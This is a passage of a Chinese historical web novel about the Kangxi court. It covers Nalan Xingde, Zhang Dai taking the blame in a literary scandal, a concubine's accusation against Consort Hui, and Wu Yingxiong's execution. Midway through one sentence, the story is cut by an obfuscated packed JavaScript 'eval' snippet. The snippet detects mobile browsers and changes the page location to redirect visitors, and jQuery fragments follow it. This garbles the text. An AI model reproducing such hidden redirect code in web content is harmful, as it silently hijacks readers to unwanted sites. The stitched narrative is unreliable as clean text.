“徐乾学的家丁,在纳兰错失殿试之后,曾带着徐乾学亲笔所写的信件来找本官,上面所写,正是对纳兰《采桑子·桃花羞作无情死》词作的曲解。这也是为什么本官来找皇上,说纳兰词作表面上献给皇上、实际上却是大赞侧夫人颜氏才貌双全、体贴入微的原因。由此可见,徐乾学的害人之心,是早有筹谋,并非一时之兴。” “本官早知有今日,就安排了线人混入徐府打听,人收银子好说话,徐府丫鬟称:徐乾学半夜进入藏书楼,在孔圣人画像下面,将王次回的《疑雨集》改换名字和作者、第二日引诱纳兰翻阅之举属实。装《疑雨集》的旧书盒尚在,皇上可以派人去徐府搜取。《疑雨集》原本至今仍在徐府藏书楼,里面的人为改动痕迹,皇上叫第一编纂人:张岱一辨就知。” * 半晌,康熙皇帝站了起来,恨恨道: “朕手下怎么会有你们这样的臣子?朕错怪纳兰,错训明珠,你们才是丢大清的脸啊!” 康熙皇帝怒斥:“徐乾学、徐元文,座师算计学生和国子监祭酒受贿举荐门生的事情传出去,你们兄弟就是翰林院的罪人!” 徐元文磕头道:“臣没有受贿和向索大人举荐门生啊!张岱骂臣骂的没有一句是在理的啊!” 索额图却是破罐子破摔,故意道:“臣知罪,不该收了徐元文的好处,而将某位不怀真才实学之人推举为九品书学,愿罚俸三个月,深作反省。” 徐元文指着索额图,颤声道:“索额图你……你怎么能认了自己没做过的事?你这是害了自己和下官的清白啊!” “罢了吧!”索额图装出同情徐元文的模样,“敢做就要敢当,皇上圣明着呢!你们兄弟的人品为天下所不耻,好在是徐家还有一个徐秉义,没有把良知消耗殆尽!” 徐元文仍旧是语无伦次地向康熙皇帝大喊冤枉。 徐乾学对自己的弟弟怒道:“够了,你这是成何体统?要不是看在骨肉亲情的份上,我就该跟你断绝兄弟关系,再把你逐出徐氏宗祠!” 徐元文没想到连哥哥都不站在自己这一边,是彻底被击溃了内心防线,只得一摸红肿的额头、认了莫须有之罪。 见弟弟认了罪,徐乾学也自我供述道:“皇上,臣也知罪了,恳请与索大人一起并罚。” 康熙皇帝把茶杯往桌面上重重一放,走出了御案。 “好呀,你们三人个个认罪,以为受罚就没事了吗?事情传遍天下,那朕就成了——是非不分,不信纳兰性德、反而被佞臣玩弄于股掌之间的昏君啊!” 康熙皇帝的额头青筋暴起,一把摘了徐乾学的顶戴花翎,往地上一扔。 “朕不能以给你们三个人定罪结案啊!否则叫史官如何记载?叫太皇太后和赫舍里皇后如何看待她们的皇孙和夫君?你们仨真是……” 张岱忽然道:“草民有主意。” 康熙皇帝傲气道:“不用你拿主意,朕自有主张。这事关乎朕的名声,不得不牺牲了你的名声。” “草民不在乎。”张岱露出了无所谓的神情,“皇上早就禁过草民的书,还差让草民担负多几项冤罪吗?” “你不要怪朕,徐氏兄弟是翰林院的梁柱,索额图是朕的皇后的亲叔父、一国之重臣,朕不能一下子就将那三人的罪行昭告天下,否则舆论四起,不利于国家安定,各处反清势力更是会趁虚而入,大肆宣扬朕的无道。” “皇上做主吧!草民只要留着一条命就满足。” 康熙皇帝字字沉重,道: “前明士人张岱,概有故弄文章之实,现又自诩为王次回之友,别有用心仿写《纳兰词》中佳句,添入《疑雨集》中,反诬《纳兰词》套做、借鉴于王诗,其罪难恕。朕感念于张岱针砭买官卖官之歪风有功,又能主动供述过往罪行,故而免其死罪与牢狱之罪,责令其深居思过,不得再度结交各方文友、势力,否则同‘蓄意谋反罪’论处。” “草民张岱,领罪领旨。” “顾总管,带张岱下去吧!” “是。”顾问行走向张岱,“张先生,起来吧——” “徐乾学徐元文,索额图,你们也都下去!你们罪,虽未公之于众,但不可免,回去侯着朕的后续惩罚吧!” 康熙皇帝看着那三个人离开的背影,深深感到了自己无力。 何谓朝纲?当罚而不得酣畅淋漓地罚,皆因时局。 何谓君臣?当两心相向却背道而驰、且不尽人意。 “云辞格格,你说的对,朕不是个好皇上。” 玄烨闭目仰坐在椅子上,胸口起伏。 105.第105章 事件过去数日后,玄烨来到了慈宁宫。 “秋雨不断,天凉见冷,皇阿奶的身子可还好?” “好。”孝庄教导,“皇上你记着,肩负国家大任之人,不可在人前表现出退屈或是示弱的一面,包括是身子的不适,也不能被人看出来。” “朕才当了十多年的皇上,就觉得厌烦了,夜里辗转反侧,悔恨自己空口夸下宏图大志,却不得不去做迫不得已的选择、处罚无辜获罪之人。朕,哪里算得上是明君?” “皇上也是人呐,人无完人。皇上不妨这般审问自己:这个决定和这个举措,能够稳固江山社稷吗?是对天下大局最有益的吗?可否保证朝堂秩序不乱?皇上要是觉得答案是肯定的,那就无需自寻烦恼。人生之路漫长啊,皇上的帝王伟业也是一段无止境的征途呐!” “朕,把所有的错都叫张岱一个人扛了。”玄烨回想起来,依旧心痛,“张岱在文章之中隐喻忠明思潮固然是有错,但是一事归一事,索额图和徐氏兄弟所造的孽,不该由张岱承担。是朕让张岱在史册上……背负了污名。” “皇上,人是可以正名的,只要在日后你给他一个契机就成。”孝庄提醒,“姑且不说张岱如何,索额图和徐氏兄弟,你打算如何处置?” 玄烨面带谦虚,“朕没有最佳之策,所以来向皇阿奶讨教。” 孝庄细细指出: “照我看:皇上应先将徐氏兄弟罢黜翰林院之职,但仍旧保留他们的文臣身份留用,不发放俸禄;索额图,因为他是皇亲国戚、且在朝中党羽众多,不可一箭射倒,不如让他将功抵过,先远离政务一些时日,去外头处理‘沙俄扰境’之事。” 玄烨略皱眉,“这样做,纳兰能接受吗?” “只要明珠接受,就等于纳兰也接受。”孝庄意味深长道,“不必皇上刻意提醒,明珠自然懂得怎么教子。” “是,朕听皇阿奶的话。” 祖孙俩一起用膳的时候,说起了家事。 孝庄喝了一口秋梨汤,道:“皇上,我听说后宫的蒙古嫔妃越发放肆,连皇后都不放在眼里。” 玄烨不情愿地点了头,“朕要不是为了牵制噶尔丹,怎么会直纳他们部族的女子为妃?所以,此事不能怪皇后处处忍让。” “可是噶尔丹说,给皇上选送的妃子是从草原上挑的。”孝庄斟酌,“皇上对自己不喜欢的女子可以在心里承认,但是也要心疼皇后和让皇后按照宫规来训诫蒙古妃子才是。” 玄烨回避道:“皇阿奶您亲自给皇后说,比朕这个不懂后宫门道的人去说来的好。” “皇上这叫什么话?”孝庄严肃道,“蒙古嫔妃放肆,还不是仗着皇上你在顾虑她们身后的噶尔丹大汗?皇上自己不肃正后宫尊卑与规矩,在以后,难免让家事祸及国事,纳蒙古妃子的意义何在?” “是,朕会好好跟皇后商议,请皇阿奶放心。” “皇上今晚打算翻谁的牌子?” “朕——”玄烨一思量,“今夜朕去惠妃那里安置。” “你倒是明白自己多久未去延禧宫了。”孝庄稍感欣慰,“好在是惠妃懂事,对皇上皇上没有怨言。皇上以后也该多去延禧宫走动,惠妃不是她自己,而是皇长子的母亲。” “苏嬷嬷,”玄烨一回头,君心多疑,问道,“惠妃来慈宁宫看过纳兰,或是叫人来打听过纳兰的事吗?” “没有。”苏麻喇姑道,“惠妃娘娘守着规矩来向老祖宗请安,心里都是惦记着皇上的。” “那就好。”玄烨快速地夹了一只羊肉饺子到碗中,“纳兰惠儿是朕的女人。” * 次日早晨,天气转晴。 纳兰容若决定离开皇宫,回明府去回归自己的日常生活。 得了太皇太后的准、一并陪太皇太后用早膳的时候,赫舍里皇后恰好来向孝庄请安。 这一回,皇后身边还跟着一个女子,正是卢兴祖的女儿:卢尔谖。 纳兰不知卢氏是陪皇后读书写字的女史,只当那是皇后的宫女,不曾过多在意。卢氏却对翩翩公子抱有别样的好感,只将自己的动情念头埋在心底,不敢在外人面前流露半分。 “皇后。”孝庄疼爱儿媳道,“我跟皇上说过了,后宫的事情皇上会多上心,你的性子好、切勿过于迁就别的嫔妃而自损了身为六宫之主的凤威,免得助长了嫔妃们的纵横跋扈之风,知道吗?” “臣妾谨记老祖宗教诲。” “我倒是许久未见这位姑娘了。”孝庄注意到了卢氏,“你小时候在盛京长大,故而习得了满语和满俗,算是汉人女子里面拔尖的。待到你十几岁的时候,因为你阿玛迁任两广总督,所以就举家前往岭南居住,你便是学会汉语和汉诗。” “是,阿玛因公殉职之后,额娘也跟着去了。”卢氏向孝庄行了一礼,“多亏是老祖宗疼惜,将我接到宫中抚养。” “你在岭南那会儿,巧手能做甜品,特别是:桃胶银耳莲子汤。”孝庄笑道,“纳兰这孩子也喜欢□□致的甜汤,有机会让他也尝尝。” “谢老祖宗。”卢氏心里怦怦跳,“奴才记着。” “纳兰,你呢?” 纳兰笑道:“慈宁宫里老祖宗和苏嬷嬷最好,点心也最好,我还是惦记着奶酪汤圆的味道。” 卢氏低头,不解公子之意。 纳兰也没有往细处说,只继续吃自己碗里的青豆糯米素烧麦。 随苏麻喇姑往外走的时候,纳兰感谢道:“苏嬷嬷,多谢您帮惠妃担待着,惠妃的心意我都知道。她的奶酪馅儿汤圆和您在慈宁宫的温度,我都记着感动着。” 苏麻喇姑和善道:“公子,你跟惠妃娘娘之间是彼此有心,太皇太后也许不全懂,但是我看得出来,能帮则帮,不能帮我也会多为你们圆圆场。” 纳兰忽然问起了皇长子的情况:“对了,大阿哥胤禔可好?” 苏麻喇姑道:“孩子都是额娘的心头宝,惠妃和延禧宫的嬷嬷们把大阿哥照顾的仔细,大阿哥定会顺利长大成人,做个爱新觉罗的好男儿。昨晚皇上去看了惠妃母子,敬事房那边给老祖宗回话说,夫妻相处甚好。” “那就好,我这么跟阿玛和额娘说,他俩也放心。”纳兰叫苏麻喇姑留步,“苏嬷嬷,送到这里就好了,纳兰回去了。” “好,希望公子万事顺意。” 苏麻喇姑目送纳兰而别。 * 容若回到明府,直接去了花园。 他想看看风雨过后,自己的盆栽花卉和地栽花卉都还好不好。 眼前,是正在打理花草的侧夫人颜氏。 容若过去,温言道:“袖云,有你兼顾着我的书房内外,我安心。“ “公子回来了。“袖云喜悦,”这些日子,我一面将花草挪去了淋不到雨的地方、一面整理公子的文稿,不敢忘记自己的责任。” “有你持家,是我之幸。” 俩人来到渌水亭内坐下。 “公子,如此‘若词王诗’的风波,算是过去了吗?” “我说不准。”容若摇头,“我好像是一个事中的受害者,又好像是一个事后的架空者,宫里没有谁主动来问我的感受,宫外的议论声也逐渐平息。我心中有些话,只能回家跟你说。” “那袖云就当个听客,听公子说想说的话。” “张岱先生虽是为了大局着想认了罚,但皇上不称心;索额图准备去边境视察外敌情况,走前肯定会在朝中部署一切,阿玛不安心;徐乾学如今官不像官、民不像民,唯有学问和架子还在……袖云,你说皇上能够让徐乾学收敛什么呢?制止住了他一时的恶行,只会激发他日后更大的恶。” “公子应当想想自己。袖云说句真心话:皇上和老爷都默认了公子你能自己看开一切,所以没有过多言语。他俩不觉得公子你需要些许带温度的话语,就随了公子独自消遣了去。” “袖云,你是懂我的。” 容若看着眼前人,“你看我,对一些落魄的文人说鼓励的话、对一些好友说意气风发的共感之语、对一些萍水相逢之客慷慨解囊……无非是盼着日后自己离开尘世之后,还能被谁记起,能得几篇真挚的悼文。我越发觉得,人生来到这个凡尘间走一趟,家也好国也罢,到头来终局无非只是一场恤典:身前事走的快,身后事去的也快。” 此时,容若的两个小弟弟揆叙和揆方正朝这边来。 容若将自己的心情调整好,笑问:“可是近日以来都在房中温习功课,只今终于可以出来活动了,所以欢喜地在渌水亭长廊追逐?” 揆叙调皮道:“阿玛和额娘不管着就好,这样的自由真难得。” 容若把小揆叙抱坐到自己的膝盖上,道:“跑起来,等有人去回禀了阿玛和额娘之后再说。你跟揆方不要太拘束,不要把这个年纪的人生过的像旧时的我。” 揆方问:“容若哥哥,带我们去骑马吧?一起到狂野去。” “也好,一起到辽阔的地方去散散心。”容若复对袖云道,“袖云,你也一同。” “好。”袖云豁达一笑,“但愿我的骑马功夫没有生疏。” * 玄烨跟赫舍里皇后在御花园中散步,蒙古妃子额哲氏忽然前来。 “臣妾参见皇上、皇后娘娘,皇上皇后娘娘吉祥。” “免礼。”玄烨冷道,“融贵人,你之前三番五次派人来打搅朕与皇后用膳,朕一忍再忍,如今你又亲自到御花园挡朕和皇后的去路,若不讲出一个理由来,朕就降了你位分!” 融贵人道:“臣妾不欲搬弄是非,但思前想后,想将一件自己亲眼目睹之事回了皇上和皇后娘娘。” 玄烨加重了口气:“说——” “数日之前,大雨天气,臣妾心情烦闷,故而在宫中迎雨走动,不怕司雨神君如苏降下天怒。岂料途经此处之时,竟然看见惠妃娘娘身边的掌事宫女远黛带着一个食盒提篮,悄悄交给了苏嬷嬷,让苏嬷嬷将盒中汤圆带回慈宁宫去给纳兰公子食用。苏嬷嬷接了食盒提篮,也应了好。” 玄烨面色阴冷,问:“你肯定自己没看错、也没听错?” 融贵人镇定自若道:“当时,臣妾也以为雨帘有隔、雨声有误,会令自己错判,就悄悄跟随了远黛往延禧宫方向走。果然在延禧宫的宫檐之下,看到了魂不守舍的惠妃娘娘。惠妃娘娘一见远黛,就问她事情是否已经办妥,听远黛回话:‘已经将汤圆经由苏嬷嬷之手带给容若公子了。’之后,惠妃娘娘才松了一口气。” “你要敢信口捏造朕的后妃私通朕的臣子,”玄烨甩袖怒瞪融贵人,“朕就将你打入冷宫!” “臣妾不敢。”融贵人有理有据道,“臣妾越想越心惊,后宫要是有此不端不轨的流言传出,皇上您的颜面何在?” 融贵人一使眼色,手下的一个小太监就道:“启禀皇上,惠妃娘娘在参加选秀之前,一直在明府之中与纳兰公子同住,想必二人之间感情深厚。” “顾总管,传朕命令,叫惠妃来坤宁宫见驾。” “奴才这就去。” “融贵人,今日之事,朕不想再听见别的风声,你最好管住自己的嘴,不要逼朕对你不客气!” 融贵人落井下石道:“皇上心疼惠妃有什么用?惠妃的心思又不在皇上身上。” “放肆!”赫舍里皇后训了一声,“后宫姐妹之间,本应相互照顾、相互体谅,融贵人你却出言不逊,激怒天子,罪当掌嘴。” “照皇后的意思办。”玄烨勒令,“额哲氏,朕赐你‘融’字为封号,意在让你懂得自己的立场:融合你背后的势力北蒙古噶尔丹与朝廷的关系。你却屡屡以下犯上,朕今日绝不饶你!来人,对额哲氏掌嘴二十!” 一阵清脆的巴掌声过后,融贵人就像是疯了一般,失仪君前,大哭大闹,大喊大叫。 玄烨严惩道:“即日起,额哲氏禁足景仁宫偏阁,没有朕的允许,不得外出半步。冬日衣料和炉炭,每日饮食,按照常在的份额来给!” 额哲氏带着一个凄厉的笑容而走,狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196879|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠骂出一句余音远飘的话来:“皇上,臣妾今日所言,句句属实。惠妃和纳兰性德——” 玄烨对眼前所发生的一幕又一幕,极其厌恶。 他看了梁九功一眼,梁九功立刻高喊:“皇上摆驾坤宁宫——” * 玄烨和赫舍里皇后左右端坐在坤宁宫正殿的主位上。 在帝后面前,站着按旨而来的纳兰惠儿。 “朕国事繁重,难得来后宫一趟,就从融贵人口中听到了,”玄烨目光带冰,“你背着朕偷偷给纳兰性德送东西之事。” “如今皇上已经处置了融贵人。”赫舍里皇后补充道,“惠妃,要是有什么冤情,你就在皇上和本宫面前说出来吧。” 本着不能害了表兄容若,也不能害了伯父明珠的心态,惠妃否认道: “臣妾怎么会为了儿女私情,而公然置皇上的颜面于不顾?犯险做出赠物传情的荒唐事来?” 玄烨逼迫道:“惠妃,你敢不敢在朕和皇后面前发誓:纳兰性德抱病养在慈宁宫侧暖阁期间,自己没有想过他、牵挂过他、恨不得亲自照顾他!” 见惠妃神色倔强,毫无惊吓和求饶之态,玄烨沉脸施压道: “还是说,你觉得朕冷落你、辜负你,需要借纳兰性德之力来给自己一场重新得宠的胜算?融贵人说你叫远黛给纳兰送的是一碗汤圆,朕看未必!你如实说,到底给纳兰私传了什么东西?” 惠妃的不屈目光对上了玄烨,“臣妾没有另辟蹊径争宠,更没有给纳兰公子送任何皇上臆想之物。” 玄烨单手抓着椅子扶手,半身微倾,目光锁在了惠妃身上。 她还是那个不失分寸的她,不管发生什么事,都一如既往地不乱心态与阵脚。 她还是心思如湖水,一半近岸浑浊、一半接天清澈的她,层层叠叠、起起落落之间,不曾混淆过界线。 朕,对她挑剔是错、对她包容也是错。 她,对朕顺从是错,对朕自主也是错。 彼此,何以会这般执拗相对?这般顽固相抗? “给朕一个相信你的理由。” 惠妃清晰回应:“臣妾跟纳兰公子无男女之情,无非分之想。” 玄烨从喉咙中发出一声怒吼:“你身为后宫嫔妃,事无大小,都应该以朕为重!” 惠妃睫毛微颤,言语间依旧坚定:“苍天可鉴,臣妾对皇上有情,对纳兰公子只有念。” “念?念念不忘之意?”玄烨忽然觉得自己被比了下去,“惠妃,你可以念纳兰,但是不许跟纳兰往来,更不许与纳兰交换情报、传递物件、互通消息。朕才是你的夫君、和你应当一心一意伺候的人。” “臣妾入宫以后,心中所装之人一直是皇上。哪怕是入宫之前,表兄和伯父所教导的,也是让臣妾真心实意只做皇上的女人。” “那是因为你没得选。”玄烨站了起来,“朕不禁怀疑,你不争宠、不稀罕雨露,只在关键时刻为朕分忧,心里面所图所想:是否为了遵循纳兰家所传承下来的忠孝之道。” “皇上,臣妾不是不争宠,而是不屑于用媚姿和怜语来博取君心;臣妾不是不稀罕雨露,而是知道皇上有皇上的性子,翻谁的牌子都是后宫的福气;臣妾为皇上分忧,是为了尽一个妻子的责任,别无他求。” “惠妃,你越是把自己说的慷慨无私,就越是显得朕独断自私。朕问你:朕跟纳兰性德比如何?” “皇上是天子,包括公子在内、纳兰一家都是皇上的奴才。在臣妾看来:皇上志在为大清立下千秋功绩和成全自己万载称颂的英名,一程帝王路还长;公子只想做自己和活出自己,可是谁都不肯给他机会,甚至是他自己,也惘然在尘世迷局之中不得出。皇上跟公子没有可比性。” “那对待纳兰,朕跟明珠比如何?” “回皇上,公子对得住每一个人,尤其是您和明珠大人。” “朕明白了,惠妃你给纳兰送东西,不是在向他投情示好,而是在弥补他的心情。你是觉得朕亏欠了他。” “皇上,天子的‘欠意’只能对百姓对江山,不能对臣子对后妃。”惠妃跪地诚恳道,“请皇上以国事为重,不要再纠结家事。” 赫舍里皇后解围道:“臣妾以为,惠妃妹妹即便是派宫女打点送奶酪汤圆之事,也只是出自对纳兰公子的关心,并非是想互通情愫。请皇上明鉴。” “朕不想后宫多起风波。”玄烨对梁九功道,“传朕口谕,不必再查了,此事到此为止。” “皇上圣明,这样一来就不会扰了慈宁宫的清净。”梁九功心中松了口气,“苏嬷嬷可是一直照顾着和看着皇上长大的呢。” “朕不彻查,不等于朕完全原谅于你。”玄烨走到惠妃面前,将她从地上拉起,“希望你说到做到,日后真的全心全意待朕。” ‘“臣妾谢皇上。” * 明府。 明珠跟夫人正往容若的房间去。 见容若穿着正式,准备出门,明珠询问:“你去哪儿?怎么不来打招呼?” 容若不隐瞒:“儿去找张岱先生。听说他欲去‘济国寺’遁入空门。” “你回来!”明珠一声制止,“跟阿玛和你额娘一起到瓜尔佳府上去谢朴尔普大人和云辞格格。” 容若知道此时不宜惹明珠动气,就听话应道:“是。” “儿啊,先回房写一首答谢诗出来。”觉罗氏拉着容若的手往里走,“再一并带着答谢诗出门。” “儿听额娘的话。” 明珠却是未进去,只在外头侯着。 容若也不问,只当阿玛认为自己写诗写得快,不必费时多走几步脚来“监督”。 笔墨就绪,容若提笔写下: 《雨霁·谢官氏女》 积潭倒映碧空影,阙檐听闻瑟秋风。 幸得佳人能尚尔,晓卿心境与我同。 解词共对霜天冷,从容只为月向东。 别有无畏百战后,相约山河对长虹。 106.第106章 宋应星久别未见张岱,听闻张岱一肩挑了“若词王诗”之事的罪名,已是大惊! 如今,又从线人口中传来了张岱想要去“济国寺”削发为僧的消息,不由得仰天长叹: “张公啊,你这是何苦?红尘嚣嚣,岂是将来常住空门就能逃避的?” 沈宛急道:“师傅,你要是看不下去,就与我一同到寺庙中去劝。也不必在乎自己的身份了,能叫张岱先生少犯糊涂,比什么都值得。” 宋应星左右徘徊数十次,终于在沈宛那句“师傅,您把我的眼都晃花了”的声音中,应了一声:“我去!” * 济国寺。 在禅房之中见到张岱时,宋应星瞬间百感交织而泣。 张岱穿着一身僧袍,盘腿坐在一个杏色的蒲团之上,正在默默敲击木鱼。幸好是神色之间依旧清明,没有颓废厌世或是想舍弃性命之态。 一阵风吹过,张岱忽然放下手中的木槌,拔掉了发髻上面簪子,咬唇仰颈,只恨自己还有三千烦恼丝。 “张公啊,你在这半年之内辗转多处,连我都只是半解你的行踪。” 宋应星快步制止了张岱那拿起剪刀的手,“哎!我知道你吃了朝廷的亏,但你不能当和尚去了却残生啊!” 面对好友的重力相劝,张岱把剪刀一扔,道: “要不是情非得已,我会出此下策吗?文坛之中,虽是人人知我际遇、同情于我,但是我的名声当真是没了。日后我还指望谁给我平反、谁去揭徐乾学的恶?” “那自然是纳兰公子啊!”沈宛道,“他是个明辨是非的人,不会叫张岱先生你蒙冤一辈子。所以张岱先生你要熬的住。” “我后悔啊!”张岱直勾勾地看着眼前的一尊琉璃佛像,“我以为自己大义凛然,承担罪责是顾全大局,这会儿才有所觉悟:被康熙皇帝利用了就是利用了,想再见天子一面也难了,可是我这人生才刚刚半百,日后都要生活在清廷的监视之下,还有什么意思?” “话可不能这么说。”沈宛道,“康熙皇帝只是为了大清的利益,才威胁你、恐吓你,禁锢你的自由。实际上,张岱先生你只要不反清、不勾结反清势力,要说什么话、要写什么书,这嘴和笔不都还在你自己身上吗?” “宛姑娘,此话当真?” “纳兰公子说康熙皇帝是明君,明君不杀替过之人。张岱先生,您就离开济国寺,找个清净的地方好好过日子吧!您的文友和交际圈子,都还没变呢。” “有理有理。” 张岱站了起来,匆匆将发髻重盘,拍了拍自己的双颊。 “现在的的确确是骂徐氏兄弟的声音,比骂我的多,徐氏兄弟尚且‘不动如山’,我又何须就此把自己埋没进了这宝刹之中?这世间,天地山野,陆海田漠,处处是我的安身之所,我要振作起来,再写旷世奇书!” 宋应星惊然:“张公,你这是打算重新开笔写什么书?以及,打算在哪儿书写呀?” “我要写回忆录和小品文。”张岱上前,双目企盼,“宋公要是不嫌弃,我欲与宋公同住——把酒邀明月,横琴对幽林;待到耕锄毕,共享一箪食。” “这当然好啊!”宋应星点头,“御婵不在身边的时候,能与宋公一同谈古论今、对弈黑白、远离世俗纷扰,岂不快哉?” 张岱一拍脑袋,激动道:“我想好要写的书的名字了,回忆录就叫《陶庵梦忆》,小品文就叫《琅嬛文集》。” “好,好啊!”宋应星连连点头,“这书名取得好,想必内容也是精益求精。后人读后,必将对张公的文字拍手叫绝!” “宋公谬赞。”张岱朗然于眉眼间,“著书立说本就是我等文人的责任,流芳还是被禁,就交给天意和时间吧!” 张岱似乎对自己接下来要做的事情十分明确,他甚至还决定: 自己要给先贤诸如王阳明、陶望龄、徐文长等人立传和画像,名曰:《有明越人三不朽图赞》。 自己要独立编撰不输给纳兰性德《通志堂经解》的《石匮书》,预计本纪、世家、列传共六十三卷含附录一卷,来纪事明史。 宋应星和沈宛师徒看着张岱那:焕然一新的心情和神采奕奕的模样,不由得大为震慑。 这一劝,是万万没有想到劝出了这样一个后果来。 ——这张岱不但不想出家了,还确立了“了不得”的志向。 ——张岱这是……要给明代的“大人物”们大书声望,和挑战纳兰性德主持编撰《经解》啊! 康熙皇帝和孝庄太皇太后若是得知,那还了得? 张岱如此不长记性,一再挑衅于清廷,到底是好事还是坏事? 就让历史给他一个公正评价吧! * 正式入冬,大雪飘零之日。 康熙皇帝终于做出了“斩首吴应熊”的命令。 吴应熊被押上囚车送往街头刑场的时候,百姓们夹道围观,议论的皆是:“额驸死得不冤,自古以来,贼父造反,贼子同罪,该杀!” 沈宛作为围观者中的一员,只见: 吴应熊手脚都锁上了镣铐,披头散发,囚衣单薄,一副饱经牢狱之苦的嶙峋模样,唯有那一对眼珠子,竟然罕见地炯炯有神,不惧死于刽子手的刀下。 从人群中走出,不看吴应熊被砍头的那一幕,沈宛去往了“饮水词歌·素菜馆”。 进门,刘管事就迎了上去,道:“宛姑娘今天来巧了,纳兰公子在‘一双人’雅室独坐。” 沈宛跟着刘管事往前走,“照理说,这样不同寻常的日子,公子不是应该陪在皇上身边吗?” “听说这会儿皇上是一个人独坐书房,谁也不见。” “不就是杀了吴三桂的儿子吗?皇上至于这般锁自己在帷幄之中吗?” “这话小的不敢随便答,宛姑娘还是跟纳兰公子细说细谈的好。” 雅室内,容若在窗边的画案上画兰花。 沈宛来到他身后,默默注视他和他笔下的画。 “画兰花能叫人心静。”容若搁笔回头,“这会儿吴应熊应该是在刑场侯斩了,午时三刻也快到了。杀他是我和阿玛明珠的共同主张,也恰好是迎合了皇上的想法。” “谁在监斩?”沈宛惊讶问,“不会是明珠大人吧?” “不是。”容若起身,拿开了宣纸上面的镇尺,“皇上派了索党的李光地和明党的高士奇同去,估计他俩的嘴皮子不会完。这样也好,人在刑场,多说些话才能招揽阳气。” “看来皇上也别有用心啊!”沈宛拿起画作,迎着窗户的光线欣赏,“场上有擅长话术的官僚,场下有七嘴八舌的老百姓,总归吴应熊走的时候不会阴森凄凉。” “每每牵涉到跟自己或是跟阿玛、跟皇上相关的人命,我都会为那些亡魂抄写经书。菩提也须渡人修,莲台几尺功德至。” 说罢,容若从特设的书柜里拿了纳经的锦缎经盒出来。 他从中取出经卷、经笔、经砂、经签,四样必备之物摆放妥当以后,他就坐了下来。 “我等过后再抄写。”容若温眸虔诚,“用心备至,自可消灾求福。” “容若,吴应熊死后,吴三桂必定再反,你打算怎么跟皇上商议军情?” “吴三桂北上还需一段时间。”容若告诉沈宛,“西南那边,有个叫做于成龙的廉吏,又是推行改革、又是善政为民,无可厚非他触动了国家利益和明索两党的财路,但是他这么一闹,连吴三桂也忌惮了他三分。” “也就是说,于成龙到底是个忠臣?”沈宛在心中感叹诸行无常,“必要时刻,他也敢从赴任之地率领一众农民军去云南捣了吴三桂的窝?” “不错,皇上留着于成龙有用。”容若觉得耐人寻味,“难怪皇上当年把他贬谪去了广西,原来是留了这一手。” * 容若跟沈宛到外头的庭院中散步。 天飘小雪,二人未打伞而携手同行。 经小拱桥而过,可见半透明的冰层之下的红色游鱼;绕空而不孤的乔木而走,可感随风铃而生的别样情致;及至回廊,才生曲径通幽的散策心怀。 容若在七曲回廊中慢走,笑念出苏东坡的一句词来:“轻云薄雾,摇荡香醪光欲舞;步转回廊,半落梅花婉娩香。” 沈宛不应。 她是不会在容若面前提梅花、也不愿容若说梅花的,因为梅瓣鲜红,落到雪地上似雪,那种触目惊心的美,叫人想去拥抱、又叫人害怕。 “我家和我家名下经营的各种场子都不种梅花,有算命术士‘五月落梅’的谶言的原因,也有我对梅花不感不写的原因。如今宛卿不语,我觉得挺好,回避梅花的理由又多了一条。” “除了梅花,冬天也有很多好景可看呀!”沈宛细数起来,“像是松针间的绒雪、雪地里松鼠、屋檐上垂冰冰柱,还有你家渌水池里的枯荷。” “看自己的画稿和画扇,也算吗?” “容若你别画山水、画些人文的好。”沈宛停了停,绕到容若面前,与他对视,“比如说,你就没想过画我吗?” “啊……确实是没想过。” 容若一不小心承认了,同时又悔恨起自己的家规来。 “宛卿你提出来了,我就惦记着。你是想要我回书房去照着记忆来画?还是想在雅室里坐着让我当面画?” “不如,”沈宛俏皮一笑,“就去城楼高处吧?你常登楼,我知道那里是个抒发心志的好地方。” 容若觉得行不通,“那里没有画案,风也大。” “我为你设。”沈宛自信道,“我师傅很厉害的,他的著述里面有教怎么制作简易的家具用具,还是可以折叠起来、轻便又省空间的那种。所以我也学了几招,到时候在你面前拿出来。” “你出师了?”容若笑,“那你们师徒搬家,岂非方便?” “已经搬了。” “什么?” “我是说我跟师傅已经离开原住处了。容若你送我的蜀葵花,长得很高很高,这几年来都开的好,花朵是如你所说的鹅黄色。我收集了不少蜀葵种子,也一并在新居的庭院里种下了。等到明年五六月份,它就会抽芽猛长,你要来看吗?” “不让我随着你现在去?” “现在去……你只能看见冰土啊!” “我想去拜会你师傅。” “等机会成熟了你再来。” “嗯,我相信宛卿你是为我好。” 刘管事忽然跑来,回话道:“公子,午时三刻已过,吴应熊已死。” “好,我知道了。”容若叮嘱道,“馆内少议论此事,你要是听见了宾客们不妥当的言语,要及时制止。” “是,小的记下了。” “嗯。那你下去吧。” * 容若和沈宛一同回到雅室内。 俩人闻见了熟悉的禅香,然后一并双手合十为死者做了三次恤祷。 “这样一来,吴应熊上路也不孤单。”沈宛到桌子边坐下,“纳兰父子进言一个‘杀’字,不过是把康熙皇帝的内心想法说出来了而已,吴应熊死得其所,这个引战朝廷和吴三桂的导火索,他做定了。” “仗,还会继续打。”容若心中有地图,“之时京师暂且安稳,不会成为交战地。” “你真确定吴三桂攻不上北面来?” “对,我确定。只要皇上用对了人。” “你是指谁合适?” “我跟裕亲王福全本人以及他的谋士施道渊关系不错,所以向皇上举荐他为平定三藩的大将。另有安亲王岳乐,如果我的祖王父多尔衮是大清第一善战的人,那么我认为身为镇国公的岳乐能排第二,我向皇上提起岳乐的时候,皇上对此很是忌惮,唯恐安亲王功高盖主。” “我说 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“禹画师清醒着呢。”云辞从容自若,“他画的就是两只栩栩如生的猛虎,象征着两位出征攻打吴三桂的大将军。女儿打算后日就跟禹画师一同进宫,把《二虎威镇山河图》进献给皇上。” “女儿,你真是糊涂啊!”朴尔普双眉一拧,“要是皇上生了误会,理解成了皇室宗亲之间:二虎相争必有一伤,那禹之鼎就犯下了大罪!你也同罪,阿玛怎么担当得起?” 